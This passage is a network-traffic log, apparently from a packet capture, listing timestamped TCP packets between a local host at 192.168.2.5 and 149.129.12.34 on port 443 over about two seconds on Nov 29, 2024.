Nov 29, 2024 15:45:59.564982891 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.564989090 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.565015078 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.565032959 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.570561886 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.570581913 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.570624113 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.570631027 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.570657015 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.570669889 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.575964928 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.575984955 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.576025009 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.576033115 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.576049089 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.576072931 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.580885887 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.580905914 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.580948114 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.580955982 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.580985069 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.581001043 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.754416943 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.754445076 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.754496098 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.754504919 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.754559040 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.754573107 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.759953022 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.759973049 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.760021925 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.760029078 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.760051012 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.760083914 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.764861107 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.764889956 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.764944077 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.764954090 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.764992952 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.770322084 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.770343065 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.770381927 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.770392895 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.770415068 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.770435095 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.775933027 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.775954008 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.775993109 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.776000977 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.776043892 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.776062012 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.780827045 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.780853987 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.780895948 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.780903101 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.780935049 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.781013012 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.786426067 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.786447048 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.786484003 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.786490917 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.786531925 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.786550999 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.791871071 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.791892052 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.791924953 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.791932106 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.791964054 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.791976929 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.803330898 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.972263098 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.972296953 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.972507000 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.972529888 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.972585917 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.977730989 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.977752924 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.977814913 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.977835894 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.977880955 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.983258963 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.983278990 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.983350992 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.983367920 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.983432055 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.989578962 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.989599943 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.989641905 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.989651918 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.989676952 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.989696026 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.993923903 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.993947029 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.994004965 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.994012117 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.994071007 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.999200106 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.999223948 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.999285936 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:59.999294043 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:59.999330044 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.004808903 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.004831076 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.004895926 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.004910946 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.004951000 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.009665012 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.009685993 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.009746075 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.009757996 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.009814024 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.009846926 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.279037952 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.279055119 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.279077053 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.279118061 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.279135942 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.279272079 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.279272079 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.283874989 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.283898115 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.283950090 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.283956051 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.284008980 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.284028053 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.289422989 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.289449930 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.289485931 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.289493084 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.289518118 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.289531946 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.294972897 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.294992924 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.295028925 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.295036077 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.295061111 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.295068979 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.300494909 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.300514936 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.300554037 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.300559998 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.300585985 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.300594091 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.305474043 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.305495977 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.305533886 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.305545092 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.305567026 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.305588007 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.308598042 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.310996056 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.311016083 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.311054945 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.311064005 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.311089993 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.311089993 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.316194057 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.316215038 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.316251993 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.316258907 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.316283941 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.316291094 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.320671082 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.489789963 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.489816904 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.489901066 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.489911079 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.489948034 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.494558096 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.494579077 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.494640112 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.494647980 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.494690895 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.500083923 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.500103951 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.500145912 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.500154018 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.500181913 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.500197887 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.505625963 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.505649090 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.505702019 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.505711079 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.505753994 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.511300087 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.511326075 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.511379004 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.511385918 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.511423111 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.516066074 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.516087055 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.516127110 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.516134977 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.516164064 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.516177893 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.521517038 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.521537066 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.521589994 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.521596909 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.521640062 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.526447058 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.526807070 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.526827097 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.526859045 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.526866913 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.526891947 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.526909113 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.558531046 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.700597048 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.700628042 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.700792074 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.700803995 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.700850964 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.705456972 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.705480099 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.705522060 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.705532074 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.705564976 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.705611944 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.710910082 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.710951090 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.710971117 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.710979939 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.711014032 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.711051941 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.716433048 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.716454029 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.716495037 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.716502905 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.716528893 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.716548920 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.721551895 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.721570969 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.721611977 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.721618891 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.721645117 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.721663952 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.726942062 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.726988077 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.727011919 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.727019072 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.727046013 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.727061033 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.731107950 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.732323885 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.732352018 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.732382059 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.732388973 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.732413054 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.732429981 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.737622023 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.737642050 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.737679958 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.737688065 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.737709999 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.737723112 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.738534927 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.910999060 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.911025047 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.911066055 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.911076069 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.911086082 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.911113024 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.916527987 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.916549921 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.916594028 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.916605949 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.916630030 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.916645050 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.921364069 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.921385050 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.921426058 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.921432972 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.921459913 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.921478987 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.926870108 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.926891088 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.926924944 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.926933050 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.926961899 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.926970005 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.932514906 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.932533979 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.932560921 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.932566881 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.932591915 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.932610035 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.937340021 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.937361956 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.937398911 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.937407017 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.937433004 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.937450886 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.943054914 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.943082094 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.943124056 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.943130016 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.943166018 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.943192005 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.948100090 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.948120117 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.948182106 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.948189974 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:00.948226929 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:00.949219942 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.121849060 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.121896029 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.122019053 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.122029066 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.122081041 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.127326965 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.127348900 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.127438068 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.127446890 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.127490997 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.132229090 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.132251024 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.132294893 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.132302999 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.132339001 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.132355928 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.137658119 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.137684107 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.137744904 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.137753010 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.137795925 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.143275023 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.143297911 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.143374920 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.143395901 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.143407106 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.143445015 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.148390055 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.148462057 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.148597002 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.148653984 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.153800011 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.153825045 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:46:01.153875113 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:46:01.153882980 CET	443	49704	149.129.12.34	192.168.2.5
